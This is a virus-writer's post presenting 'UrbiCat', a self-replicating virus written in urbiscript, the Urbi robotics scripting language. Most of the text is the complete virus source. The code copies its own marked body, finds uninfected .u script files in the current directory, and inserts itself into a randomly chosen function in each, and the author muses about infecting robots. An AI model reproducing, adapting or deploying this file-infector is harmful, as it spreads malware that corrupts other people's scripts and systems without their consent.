Urbicat (cool name right?) is an EPO virus written by me, genetix. For the LIP project. I had spent ages writing this and deleting and rewriting because somehow I just couldnt get the "hang" of this language? But now it's done. Many useful functions used in all kinds of viruses actually dont exist in urbiscript, so you have to figure out a way to write them yourself.. not so difficult if you've written many viruses before. Sinse wiki describes the language better than I could, here is a small description: Urbi is an open source cross-platform software platform in C++ used to develop applications for robotics and complex systems.[2] Urbi is based on the UObject distributed C++ component architecture. It also includes the urbiscript orchestration language which is a parallel and event-driven script language. UObject components can be plugged into urbiscript and appear as native objects that can be scripted to specify their interactions and data exchanges. UObjects can be linked to the urbiscript interpreter, or executed as autonomous processes in "remote" mode. Urbi is interoperable with Willow Garage's ROS.[1]. The virus injects it's body in to randomly selected functions assuming any exist.. This could be the beginning to a new breed of viruses, infecting robots!^^ Although I think writing a worm would be more affective. So here is UrbiCat! //urbicat //begin try { throw Exception.new(0) } catch (var e) { name = e.asString.split(".")[0] }; var scr = name+".u"; //or the working directory. var sp = scr.split("\\"); var vpath = scr.replace(sp[sp.size - 1], ""); var cwd = Path.new(vpath).cd; var start = 0; var vcode = ""; var vread = File.new(scr).asList; for (var vline in vread) { if (vline == "//begin") start=1; if (start==1) { vcode += vline + "\r\n"; if (vline == "//end") start=0; }| }| var index = 0; var arrList = []|; var dir = Directory.new("."); var victim = ""; var rnd = 0; var inf = 0; var hread = ""; var lcount = 0; var newCode = ""; for( var file : dir.content) { newCode = "//urbicat"; try { if(file.split(".")[1] == "u") victim = file; }catch{}| if(victim != "") { //open read hread = File.new(victim).asList; for (var hline in hread) { //find functions if (hline == "//urbicat") inf = 1; index += 1; if (hline.split(" ")[0] == "function") { arrList += ([index]); }| //end find functions }| //end open read }| //deal with found functions if(arrList.size != 0) { rnd = Date.new.microsecond % (arrList.size); if (inf != 1) { for (var hline in hread) { lcount += 1; newCode += "\r\n" + hline; if(lcount == arrList[(rnd)]) newCode += "\r\n" + vcode; }| File.save(victim, newCode); }| }| newCode = ""; lcount = 0; inf= 0; rnd = 0; index = 0; arrList = []|; victim = ""; }| shutdown; //end